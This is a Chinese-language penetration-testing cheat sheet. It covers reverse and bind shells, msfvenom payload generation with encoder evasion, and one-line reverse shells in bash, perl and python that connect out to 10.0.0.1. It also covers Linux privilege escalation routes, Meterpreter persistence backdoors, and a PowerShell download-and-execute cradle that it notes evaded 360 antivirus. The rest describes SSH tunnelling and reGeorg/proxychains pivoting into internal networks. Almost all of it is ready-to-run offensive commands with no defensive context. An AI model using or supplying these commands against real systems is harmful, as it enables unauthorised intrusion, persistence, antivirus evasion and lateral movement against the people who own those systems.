攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。
攻击者–>被攻击者
被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
攻击者<–被攻击者
Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.107.129 lport=4444 -f elf -o isshell
Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.107.129 LPORT=4444 -f exe > abc.exe
Android:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.107.129 LPORT=5555 R > /root/apk.apk
bash:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ssh -qTfnN -L port:host:hostport -l user remote_ip 正向隧道,监听本地port
Ssh -qTfnN -R port:host:hostport -l user remote_ip 反向隧道,用于内网穿透防火墙限制之类
Ssh -qTfnN -D port remotehost 直接进行socks代理
Ssh -CfNg -L port1:127.0.0.1:port2 user@host 本地转发
Ssh -CfNg -R port2:127.0.0.1:port1 user@hsst 远程转发
检查系统版本
lsb_release -a
依据系统的内核,寻找对应的exp提权:
寻找exp的网站: https://www.kernel-exploits.com/
1. SUID是一种属性,他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。
2. 环境变量劫持的方法提权。
3. Passwd文件是否可写,可写则修改密码登录。
4. Shadow是否可读,可读则使用hashcat或john暴力破解。
5. 使用web端的一些密码测试root密码是否相同。
6. 使用命令 ls -l /etc/cron* 查看计划任务,也许会有脚本使自己成为root用户。
提权的方法复杂而多样,主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功,那么可以使用这台主机作为跳板进行内网的进一步渗透。
拿下一个shell容易,但是服务器重启,web漏洞就会被补上,木马会被马上删除,还能有办法保留住shell么?这里提供了几种持续后门的方法。
Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)
Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,容易被杀(我的msf版本不支持)使用-r参数可以卸载服务
Mof_ps_persist
Autorunscript,一个十分强大的脚本,可以在生成会话的同事,执行指定的操作。可以通过autorunscript调用的脚本有6个,目录metasploit/scripts/meterpreter,有屏幕截图,获取环境变量等等。
使用persistence和autorunscript留后门的方法是:
Use explit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost ***
Set lport ***
Set ExitOnSession false
Set AutoRunScript persistence -r *** -p 7231 -U -X -I 30
Exploit -j -z
绕过拦截的计划任务:
构造创建计划任务:schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://a.com/1.ps1');" 保存以上命令到1.ps一,通过IEX下载执行。
本机测试时360第二种报毒,第一种通过。
ipconfig
正向代理:Regeorg + proxychains (win下用proxycap)
Regeorg: GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
上传服务器可执行的tunnel文件,在本机执行:
python reGeorgSocksProxy.py -p 2333 -u http://text.com/tunnel.php
Proxychains: GitHub - rofl0r/proxychains-ng: proxychains ng (new generation) - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained proxychains project. the sf.net page is currently not updated, use releases from github release page instead.
配置文件
vim /etc/proxychains.conf
在最后一行添加socks5 127.0.0.1 2333(与regeorg端口相同)
使用时,在执行的命令前加proxhchains 4, 比如:proxychains4 nmap -sT -Pn -n 127.0.0.1
反向代理:路由表+socks4a+proxychains
在msf中如果拿到一个meterpreter shell,有一个很简单的添加路由表的方法:run autoroute -s 192.168.122.0/24,添加完路由表后,msf框架就可以使用跳板进行对192.168.122.0/24的网络访问了。
若要使用nmap一类的工具,需要使用msf框架中的socks4a工具代理,目录:auxiliary/server/socks4a
开启socks4a后可以用netstat -antp | grep 1080来检查一下是否成功。
Proxychains 不支持ICMP协议,nmap要加-sT 和 -Pn 参数。
如果只探测服务,则查看hosts,扫描特定的服务。
如果为了探测整个内网,则全网段扫描。
假设控制路由器,通过路由器收集以下信息:
1. 设备配置
2. 查看相关权限与exp提权
3. 查看版本信息
4. 查看ip地址
5. 活动主机
6. 构建拓扑图